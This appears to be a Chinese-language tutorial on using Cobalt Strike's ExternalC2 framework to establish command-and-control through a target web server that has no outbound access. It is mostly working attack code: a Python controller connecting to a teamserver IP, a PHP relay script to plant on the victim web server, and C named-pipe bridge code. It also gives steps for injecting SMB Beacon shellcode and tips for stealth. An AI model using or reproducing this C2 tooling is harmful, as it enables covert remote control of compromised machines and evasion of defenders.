Cobalt Strike 的 ExternalC2
字数 1730 2025-08-26 22:11:56
Cobalt Strike ExternalC2 深度解析与实战指南
0x00 前言
Cobalt Strike 上线问题常见解决方案:
- 目标存在杀软(被杀):使用 Shellcode 加载器
- 目标存在杀软(拦截连接):自定义 C2 处理
- 目标机是 Web 映射出网:特殊 C2 处理
- 隔离网络:使用出网机器做跳板
本文重点解决第三种情况:Web 映射出网环境的上线问题。
0x01 前置知识点
1.1 管道机制
管道本质:一段系统内核的缓冲区,可视为伪文件,操作方式与文件类似(Create/Open/Read/Write/Close),但采用消息队列的数据结构(环形队列)。
管道类型:
- 匿名管道(pipe):用于父子进程通信
- 命名管道(FIFO):可用于任意两个进程通信
服务端流程:
- 创建管道
- 监听
- 读写
- 关闭
客户端流程:
- 打开命名管道获取句柄
- 写入数据
- 等待回复
1.2 SMB Beacon
SMB Beacon 使用命名管道通过父 Beacon 进行通信,特点:
- 点对点通信可在同一主机或外部网络实现
- 在 SMB 协议中封装命名管道进行通信
- 运行后创建自定义命名管道(作为服务端)等待连接
0x02 External C2 框架
External C2 是 Cobalt Strike 提供的扩展框架,允许自定义 C2 通信渠道,突破默认的 HTTP(S)/DNS/SMB/TCP 限制。
核心组件:
- 第三方控制端(Controller):连接 TeamServer,使用自定义 C2 通道与客户端通信
- 第三方客户端(Client):使用自定义 C2 通道与 Controller 通信,转发命令至 SMB Beacon
- SMB Beacon:在受害者主机上执行的标准 beacon
0x03 标准 External C2 工作流程
3.1 ExternalC2 服务启动
使用 externalc2_start() 函数启动服务:
externalc2_start("0.0.0.0", 2222);
服务功能:
- 等待 Controller 连接并传输配置信息
- 生成并下发 Payload Stage
- 接收和转发信息
3.2 Controller 实现
关键代码示例:
# 连接 ExternalC2 平台
_socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketToExternalC2.connect(("193.10.20.123", 2222))
# 数据格式编码/解码
def encodeFormat(data):
return struct.pack("<I", len(data)) + data
def decodeFormat(data):
length = struct.unpack("<I", data[0:3])
body = data[4:]
return (length, body)
# 发送配置选项
sendToTS("arch=x86")
sendToTS("pipename=rcoil")
sendToTS("block=500")
sendToTS("go")
# 接收 Payload Stage
data = recvFromExternalC2()
# 监听客户端连接
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8088))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]
3.3 Client (EXE) 实现
关键流程:
- 连接 Controller 并接收 Payload Stage
- 使用进程注入方法加载 Payload
- 连接 SMB Beacon 的命名管道
- 进入数据收发循环
0x04 Web 出网环境特殊配置
针对 Web 映射出网环境,需修改标准流程:
- 在目标机器编写管道读写脚本(Client-Web)
- Controller 主动轮询获取数据(变主动为被动)
4.1 改进版 Controller
关键修改:
def read_http(req, url):
res = req.get(url + "?action=read")
return res.content
def write_http(req, url, data):
length = struct.pack("<I", len(data))
data = length + data
req.post(url + "?action=write", data=data)
def ctrl_loop(s, req, url):
while True:
data = read_http(req, url)
senddata_pack(s, data)
recvdata = recvdata_unpack(s)
write_http(req, url, recvdata)
time.sleep(3) # 必要的延迟
4.2 Client-Web 实现
PHP 示例:
function readpipe($name){
$name = "pipe\\".$name;
$fp = fopen($name, "rb");
$len = fread($fp, 4);
$len = unpack("v", $len)[1];
$data = fread($fp, $len);
fclose($fp);
echo $data;
return $data;
}
function writepipe($name){
$name = "pipe\\".$name;
$fp = fopen($name, "wb");
$data = file_get_contents("php://input");
fwrite($fp, $data);
fclose($fp);
}
if(isset($_GET['action'])){
if ($_GET['action'] == 'read'){
readpipe("readrcoil");
} elseif ($_GET['action'] == 'write'){
writepipe("writercoil");
}
} else {
echo "OK";
}
4.3 Client-EXE 实现
C 语言关键代码:
// 管道读写桥接结构
struct BRIDGE {
HANDLE client;
HANDLE server;
};
// 从beacon读取数据
DWORD read_frame(HANDLE my_handle, char* buffer, DWORD max) {
DWORD size = 0, temp = 0, total = 0;
ReadFile(my_handle, (char*)&size, 4, &temp, NULL);
while (total < size) {
ReadFile(my_handle, buffer + total, size - total, &temp, NULL);
total += temp;
}
return size;
}
// 向beacon写入数据
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(my_handle, (void*)&length, 4, &wrote, NULL);
WriteFile(my_handle, buffer, length, &wrote, NULL);
}
0x05 实战操作指南
5.1 环境准备
- 加载 ExternalC2.cna 脚本
- 启动 Controller 程序
- 部署 Client-Web 脚本到目标Web服务器
5.2 执行流程
- 使用加载器注入 SMB Beacon shellcode
- 检查命名管道是否创建成功(
\\.\pipe\rcoil) - 运行 Client-EXE 程序建立桥接
- 在 Cobalt Strike 中确认上线
5.3 常见问题解决
- 权限问题:以管理员权限运行 PipeOption.exe
- 管道通信失败:可改为文件读写方式替代命名管道
- 心跳正常但功能异常:检查数据格式和传输延迟
0x06 优化建议
- 使用 C# 重写客户端程序提高稳定性
- 实现加密通信增强隐蔽性
- 增加错误处理和重试机制
- 针对不同Web环境(ASP/JSP等)编写对应版本的Client-Web
0x07 参考资源
通过本方案,可有效解决 Web 映射出网环境下的 C2 通信问题,同时保持较高的隐蔽性和稳定性。实际应用中应根据具体环境调整实现细节。